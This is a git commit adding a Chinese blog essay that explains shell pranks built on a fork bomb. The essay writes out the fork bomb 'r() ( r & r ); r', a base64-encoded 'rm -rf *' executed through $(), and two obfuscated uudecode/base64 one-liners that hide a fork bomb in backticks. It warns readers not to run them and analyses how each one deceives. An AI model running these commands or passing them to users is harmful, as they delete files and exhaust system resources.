summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorleafee98 <leafee98@hotmail.com>2022-08-05 08:48:20 +0800
committerleafee98 <leafee98@hotmail.com>2022-08-05 08:48:20 +0800
commit7623898960ba77e97b1771d565e36aa2a603d4c5 (patch)
tree1515c4fad209c8089ee90cb932bbc2704aa9054c
parent031898cb4745b2eba841ff7f6a9741ec946c0a20 (diff)
new essay: tricking-with-fork-bomb.md
-rw-r--r--content/essays/tricking-with-fork-bomb.md43
1 files changed, 43 insertions, 0 deletions
diff --git a/content/essays/tricking-with-fork-bomb.md b/content/essays/tricking-with-fork-bomb.md
new file mode 100644
index 0000000..bb3c789
--- /dev/null
+++ b/content/essays/tricking-with-fork-bomb.md
@@ -0,0 +1,43 @@
+---
+title: "使用 fork 炸弹来进行捉弄"
+date: 2022-08-05T08:31:36+08:00
+tags: []
+categories: []
+weight: 50
+show_comments: true
+draft: false
+---
+
+⚠️**在你还未完全清楚原因时,不要尝试运行这里和文章中提到的代码**⚠️
+
+> 文章来源: https://www.vidarholen.net/contents/blog/?p=766
+
+今天看到了一片关于 shell 的 fork 炸弹的有意思的文章,我也被骗了,现在把它拿出来做一下分析。注意,原文的精妙之处还有很大一部分在于通过看起来朴素的陷阱来**淹死那些会游泳的**,本文在这里只聊一聊炸弹的组成原理。
+
+<!--more-->
+
+在来源文章中,fork 炸弹的核心思想就是无限递归,即定义函数 r,其功能是调用两次自己,然后主动调用一次 r 来启动 fork 炸弹。如下,其中 `&` 符号的意义是后台运行,表现在 shell 中就是有新的进程产生,或称之为“异步”,这样可以使一瞬间有大量的进程产生,并且 Ctrl-C 的速度是跟不上新进程产生的速度的。
+
+```
+r() ( r & r ); r
+```
+
+### 原文 tricking 分析
+
+```
+$(echo cm0gLXJmICoK | base64 -d)
+```
+
+`cm0gLXJmICoK` 就是 `rm -rf *` 的 base64 编码后文本,使用 `$()` 语法来使 shell 运行这个文本。
+
+```
+echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
+```
+
+有用的内容全部都在字符串里面,字符串的内容是双引号里面的反引号,这样的话反引号的内容会作为命令去执行,把反引号中 `&` 符号前的字符(这些字符只能导致 `command not found`,只用来吸引注意力)移除后就是前边提到的 fork 炸弹。
+
+```
+eval $(echo 'a2Vrf3xvcml'\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)
+```
+
+对于这个,看起来最有威胁性的 `eval` 和 `$()` 直接摆出来,单引号的字符串里面不可能有可执行的文本,就会让人很容易放松警惕,但是反引号包裹的 fork 炸弹直接就在单引号**外边**,是不是很惊喜?